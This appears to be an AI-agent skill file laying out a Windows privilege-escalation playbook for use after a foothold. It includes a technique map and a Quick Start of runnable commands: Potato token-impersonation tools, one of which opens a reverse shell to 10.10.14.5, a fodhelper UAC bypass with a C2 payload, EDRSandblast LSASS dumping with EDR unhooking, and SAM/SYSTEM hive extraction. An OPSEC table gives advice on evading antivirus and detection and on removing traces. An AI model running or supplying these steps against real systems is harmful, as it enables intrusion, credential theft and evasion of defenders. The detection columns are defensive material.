Windows Privilege Escalation
When to Activate
- Gained an initial shell / foothold on Windows and need to reach Administrator or NT AUTHORITY\SYSTEM
- Shell runs as a service account (IIS APPPOOL, MSSQL, Local/Network Service) holding
SeImpersonatePrivilege - Standard-user → admin via UAC bypass (medium → high integrity) on a local-admin-group member
- Service / DLL / scheduled-task misconfiguration hunting on the host
- Kernel EoP via an unpatched local CVE or Bring-Your-Own-Vulnerable-Driver (admin → kernel/PPL)
- Privileged token-right abuse (
SeBackup/SeRestore/SeTakeOwnership/SeLoadDriver/SeDebug) - Local credential harvesting (LSASS, SAM/SYSTEM, DPAPI) to fuel lateral movement
Technique Map
| Technique | ATT&CK | CWE | Reference | Script |
|---|---|---|---|---|
| Automated enumeration (winPEAS/Seatbelt/PrivescCheck) | T1082, T1518 | CWE-1188 | references/enumeration-triage.md | scripts/win_privesc_triage.ps1 |
| Token-privilege triage + FullPowers recovery | T1134.001 | CWE-269 | references/enumeration-triage.md | scripts/win_privesc_triage.ps1 |
| SeImpersonate Potato (GodPotato/SigmaPotato/PrintNotify) | T1134.001, T1134.002 | CWE-269 | references/token-impersonation-potatoes.md | scripts/check_potato.py |
| Named-pipe / token impersonation primitives | T1134.001 | CWE-269 | references/token-impersonation-potatoes.md | scripts/check_potato.py |
| Unquoted service path | T1574.009 | CWE-428 | references/service-dll-hijacking.md | scripts/service_hijack_audit.ps1 |
| Weak service ACL / SERVICE_CHANGE_CONFIG | T1543.003 | CWE-732 | references/service-dll-hijacking.md | scripts/service_hijack_audit.ps1 |
| DLL / phantom DLL hijack (CVE-2025-1729, CVE-2024-28827) | T1574.001, T1574.010 | CWE-427 | references/service-dll-hijacking.md | scripts/service_hijack_audit.ps1 |
| UAC bypass — fodhelper/computerdefaults/eventvwr | T1548.002 | CWE-269 | references/uac-bypass.md | scripts/uac_bypass.ps1 |
| UAC bypass — ICMLuaUtil / IEditionUpgradeManager COM | T1548.002 | CWE-269 | references/uac-bypass.md | scripts/uac_bypass.ps1 |
| AlwaysInstallElevated MSI | T1548.002 | CWE-250 | references/uac-bypass.md | scripts/uac_bypass.ps1 |
| Kernel EoP CVE (CLFS CVE-2025-29824/32701; CVE-2025-62215) | T1068 | CWE-416, CWE-362 | references/kernel-byovd.md | scripts/byovd_loader.c |
| BYOVD admin→kernel / EDR-blind (CVE-2025-7771, EDRSandblast) | T1068, T1562.001 | CWE-782 | references/kernel-byovd.md | scripts/byovd_loader.c |
| Privileged token rights (SeBackup/SeRestore/SeLoadDriver/SeDebug) | T1134, T1068 | CWE-269 | references/kernel-byovd.md | scripts/byovd_loader.c |
| LSASS dump (comsvcs / PssCaptureSnapshot / nanodump) | T1003.001 | CWE-522 | references/credential-harvesting.md | - |
| SAM/SYSTEM + VSS offline secretsdump | T1003.002 | CWE-522 | references/credential-harvesting.md | - |
| DPAPI / credential vault / browser secrets | T1555.004, T1555.003 | CWE-522 | references/credential-harvesting.md | - |
Quick Start
powershell# 0. Identity + token rights — this decides the whole strategy whoami /priv /groups powershell -ep bypass -File scripts/win_privesc_triage.ps1 -Quick # 1. Full automated enumeration (pick the AV-safest) .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report pc_%COMPUTERNAME% -Format TXT,HTML .\Seatbelt.exe -group=all -full # build it yourself; do not trust prebuilt binaries .\winPEASany_ofs.bat # .bat variant is less AV-flagged than the .exe # 2a. Service-account shell with SeImpersonate* -> Potato to SYSTEM python3 scripts/check_potato.py --priv "$(whoami /priv)" # picks the right Potato for the host .\GodPotato-NET4.exe -cmd "cmd /c whoami" # Server 2012-2022, no outbound .\SigmaPotato.exe --revshell 10.10.14.5 443 # fileless .NET-reflection variant # stripped token (Local/Network Service)? recover privileges first: .\FullPowers.exe -c "C:\Windows\Tasks\GodPotato-NET4.exe -cmd cmd" -z # 2b. No SeImpersonate -> hunt service/DLL/scheduled-task misconfig powershell -ep bypass -File scripts/service_hijack_audit.ps1 # unquoted/weak-ACL/writable-bin/PATH # 2c. Standard user in local-admin group, UAC on -> bypass to high integrity powershell -ep bypass -File scripts/uac_bypass.ps1 -Method fodhelper -Payload "cmd.exe /c <c2>" # 2d. Already admin -> kernel/PPL via BYOVD; then harvest creds # (verify driver is NOT on Microsoft blocklist for the build first) .\EDRSandblast.exe --kernelmode dump_lsass --usermode unhook # 3. Credentials (run from SYSTEM/admin) — see references/credential-harvesting.md for the PssCaptureSnapshot # / comsvcs MiniDump / nanodump tradecraft and OPSEC (parse the dump OFF-host). pypykatz lsa minidump lsass.dmp # parse an acquired dump offline, off-host reg save HKLM\SAM sam.bak & reg save HKLM\SYSTEM sys.bak # impacket-secretsdump -sam sam.bak -system sys.bak LOCAL
OPSEC & Detection (summary)
| Technique | Telemetry / IOC | Detection (Sigma / EDR) | OPSEC note |
|---|---|---|---|
| winPEAS/Seatbelt enum | Mass reg/WMI/service queries; winPEAS.exe on disk (heavily AV-flagged) | EDR hacktool sigs on winPEAS/Seatbelt names+hashes | Build Seatbelt yourself; prefer .bat/obfuscated winPEAS or PrivescCheck.ps1 in-memory |
| Potato (Impersonate) | DCOM/OXID RPC, named-pipe create; SYSTEM child of IIS/MSSQL worker | Sigma win_susp_potato; 4674/4688 child SYSTEM under w3wp/sqlservr | Match the COM/RPC surface left open; PrintNotifyPotato avoids RPC redirector that Defender blocks |
| Service hijack | 7045 service install; sc config binpath change; service binary write | Sigma win_susp_service_path/sc_config; 4697/7045 + new binary hash | Restore original binPath/binary after; stage payload outside C:\Windows |
| DLL/phantom hijack | Non-MS DLL loaded by SYSTEM process from writable/ProgramData/%PATH% dir | Elastic phantom_dll; Sysmon EID 7 unsigned DLL in odd path | Proxy the real DLL to keep app stable; clean the planted DLL post-exec |
| UAC bypass | HKCU ms-settings/mscfile shell\open\command writes; fodhelper child cmd | Elastic LUA://HdAutoAp token attr; Sigma fodhelper/eventvwr reg hijack | Use reg symlink + key rename (UACME m3.5+); delete HKCU keys immediately after trigger |
| Kernel EoP / BYOVD | New 3rd-party .sys load (7045/6); SYSTEM token on low-priv proc; EDR driver unload | Sigma vuln_driver_load; MS Vulnerable Driver Blocklist; ETWTi token-swap | Driver load is loud + persistent — confirm not blocklisted; unload + delete .sys; restore LSTAR/MSR |
| LSASS dump | Handle to lsass w/ PROCESS_VM_READ/DUP; comsvcs MiniDump cmdline; .dmp on disk | Sysmon EID 10 callstack dbghelp/dbgcore; Splunk comsvcs MiniDump; Elastic PssCaptureSnapshot | Use snapshot/handle-dup + parse off-host; avoid lsass.dmp literal name; clean the dump |
| SAM/VSS | reg save HKLM\SAM; vssadmin create shadow; GLOBALROOT copies | Sigma reg_save_sam; 8222 VSS; vssadmin process creation | Delete shadow + .bak hives; parse offline with secretsdump LOCAL |
| DPAPI/vault | Reads of \Microsoft\Protect\* masterkeys + \Credentials\* blobs | EDR access to DPAPI dirs; lsass dpapi:: calls | Decrypt off-host with masterkey/domain backup key; touch only target user's blobs |
Deep Dives
- references/enumeration-triage.md — Decision tree from
whoami /priv+ groups + integrity; winPEAS/Seatbelt/PrivescCheck/SharpUp usage and AV trade-offs; token-privilege classification table; FullPowers stripped-token recovery; autologon / stored-cred / GPP / scheduled-task XML enumeration. - references/token-impersonation-potatoes.md — Token model (primary vs impersonation, levels), the full 2024-2026 Potato family (GodPotato, SigmaPotato, PrintNotifyPotato, DCOMPotato, EfsPotato, RoguePotato, PrintSpoofer, JuicyPotatoNG), per-OS selection, named-pipe +
DuplicateTokenEx/CreateProcessWithTokenWprimitives, detection. - references/service-dll-hijacking.md — Unquoted service path (CWE-428), weak ACL /
SERVICE_CHANGE_CONFIG/ writable binary, DLL search order + KnownDLLs, phantom DLL hijack with real 2025 cases (CVE-2025-1729 Lenovo TPQM, CVE-2024-28827 Checkmk), DLL-proxy stub, scheduled-task abuse. - references/uac-bypass.md — Auto-elevated binary model; fodhelper/computerdefaults/eventvwr/sdclt registry hijacks; ICMLuaUtil & IEditionUpgradeManager COM elevation (2024-2025 status); SilentCleanup env-var hijack; AlwaysInstallElevated MSI; reg-symlink evasion;
LUA://HdAutoApdetection. - references/kernel-byovd.md — 2025 kernel EoP CVEs (CLFS CVE-2025-29824 & CVE-2025-32701 in-the-wild, Win32k CVE-2025-24983, kernel race CVE-2025-62215); BYOVD theory + DSE/blocklist gap; LOLDrivers, EDRSandblast, GodFault/PPLFault driverless; MSR/LSTAR ring-0; privileged token-right abuse (SeBackup/SeRestore/SeTakeOwnership/SeLoadDriver/SeDebug).
- references/credential-harvesting.md — LSASS dumping (comsvcs LOLBin, PssCaptureSnapshot, handle-dup, nanodump, direct-syscall), PPL/RunAsPPL bypass, SAM/SYSTEM + VSS shadow copy, offline secretsdump/pypykatz, DPAPI masterkeys + domain backup key, browser/credential-vault secrets, detection per method.
